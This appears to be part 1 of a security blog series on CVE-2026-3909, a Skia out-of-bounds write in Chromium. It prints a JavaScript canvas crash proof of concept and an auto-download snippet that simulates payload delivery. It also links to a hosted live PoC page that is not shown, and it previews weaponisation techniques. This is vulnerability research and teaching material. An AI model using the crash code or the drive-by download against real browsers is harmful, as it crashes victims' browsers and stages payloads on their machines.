CVE-2026-3909: From Crash to Compromise – Part 1
Triggering the Vulnerability and Simulating Payload Delivery
By Latif
Introduction
In March 2026, Google released Chrome 146.0.7680.75, patching a critical out-of-bounds write vulnerability in the Skia graphics library. Tracked as CVE-2026-3909, this bug affects all Chromium-based browsers prior to that version – including Chrome, Edge, Brave, and Opera. Attackers could trigger memory corruption by tricking a victim into visiting a malicious web page, leading to a browser crash and potentially arbitrary code execution.
In this two-part series, I'll walk you through the entire process of turning a simple proof-of-concept (PoC) crash into a weaponised exploit. Part 1 focuses on the PoC itself: what it does, how to test it safely, and how it simulates the delivery of a malicious payload. Part 2 (coming soon) will dive into the debugger, heap grooming, and the techniques used to gain code execution.
IMPORTANT: This research is for educational and defensive purposes only. All testing was performed in an isolated virtual machine. Do not run this code on production systems or against targets without explicit permission.
The Vulnerability: CVE-2026-3909 in a Nutshell
Skia is Chrome's 2D graphics engine, handling everything from canvas drawing to SVG filters. The vulnerability resides in how Skia allocates memory for complex paths. When a path contains an extremely large number of segments with huge coordinates, an integer overflow in the size calculation can lead to an undersized buffer being allocated. Subsequent writes of path data then overflow beyond the buffer, corrupting adjacent heap memory.
The official patch adds integer overflow checks and enforces stricter bounds. Versions before 146.0.7680.75 (and the corresponding Edge version) are vulnerable.
The Proof-of-Concept HTML
I developed a PoC that combines several attack surfaces known to trigger such bugs:
Attack Vectors:
- Canvas with 20,000 × 20,000 pixels
- Path containing one million segments
- Coordinates up to ±1×10⁶
- Extreme shadow blur (5000) and offsets
- SVG filters with huge standard deviations
- WebGL readback and heap fragmentation
Live PoC: Open this link in an isolated Chrome browser: https://qshjduiqsdqsd.vercel.app/
All these operations stress Skia's memory allocator and increase the chance of hitting the vulnerable code path.
Video Demonstration
Watch the complete vulnerability demonstration and exploitation walkthrough:
Key Snippet – The Canvas Attack
var canvas = document.getElementById('canvas');
var ctx = canvas.getContext('2d');
canvas.width = 20000;
canvas.height = 20000;
ctx.shadowColor = 'red';
ctx.shadowBlur = 5000; // extreme blur
ctx.shadowOffsetX = 10000;
ctx.shadowOffsetY = 10000;
ctx.beginPath();
for (var i = 0; i < 1000000; i++) {
var x = Math.sin(i) * 1e6; // huge coordinates
var y = Math.cos(i) * 1e6;
if (i % 2 === 0) ctx.moveTo(x, y);
else ctx.lineTo(x, y);
}
ctx.closePath();
ctx.fill(); // forces path rendering
Simulating Payload Delivery – Auto-Download
A real exploit would likely drop a second-stage payload (e.g., a backdoor). To illustrate this, the PoC automatically downloads a harmless text file (test.txt) and then opens it in a new tab – simulating what a victim might see if the payload were executed. Because modern browsers block automatic execution of downloaded files, this is the closest safe simulation. In a real attack, the renderer exploit would launch the file after compromising the process.
const content = 'This file simulates a malicious payload.';
const blob = new Blob([content], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'test.txt';
a.click();
setTimeout(() => window.open(url, '_blank'), 500);
Setting Up a Safe Test Environment
Before running the PoC, you must isolate it from your host system. I recommend:
Step 1: Virtual Machine
Use VirtualBox, VMware, or Hyper-V with a fresh Windows 10/11 guest.
Step 2: Vulnerable Browser
Install Chrome 145 (or any version before 146). You can find older builds on SlimJet's archive or use a portable Chromium build.
Step 3: Local Web Server
On your host, run a simple HTTP server:
python -m http.server 8000
From the VM, access http://10.0.2.2:8000 (if using NAT).
Step 4: Snapshot
Take a VM snapshot before each test so you can quickly revert.
Demonstrating the Crash
When you open the PoC in a vulnerable browser, two things happen:
Immediately: The auto-download triggers and the file opens in a new tab.
After a 2-second delay: The crash routine runs.
On a patched browser (Chrome 146+), the page remains stable – no crash occurs.
Why the Downloaded File Doesn't Auto-Execute
Modern browsers intentionally block any web page from automatically launching a downloaded file. This is a critical security feature. Even if an attacker manages to drop a malicious .exe onto your disk, the user must manually double-click it. Safe Browsing and SmartScreen add another layer of protection.
In a real exploit chain, the attacker would first gain code execution inside the renderer (via the memory corruption) and then use that foothold to launch the downloaded file using OS APIs (e.g., CreateProcess). The download itself is just a convenient way to stage a larger payload.
What's Next? Part 2 – Debugging and Exploitation
In Part 2, I'll fire up WinDbg, enable page heap, and show you how to:
- Pinpoint the exact instruction causing the out-of-bounds write
- Analyse the call stack and heap allocations
- Gain deterministic control over the overflow
- Groom the heap to place sensitive objects adjacent to the vulnerable buffer
- Build an arbitrary read/write primitive and bypass modern mitigations (ASLR, CFG, ACG)
Stay tuned!
Final Words of Caution
This research is meant to educate defenders and raise awareness. The techniques described are used by both security researchers and adversaries.
Always:
- Keep your browser updated
- Enable site isolation and other security features
- Run suspicious files only in isolated environments
If you discover a vulnerability, report it responsibly through the vendor's bug bounty program.
Have questions or feedback? Reach out on Twitter/LinkedIn or leave a comment below.
Thank you for reading! Part 2 coming soon.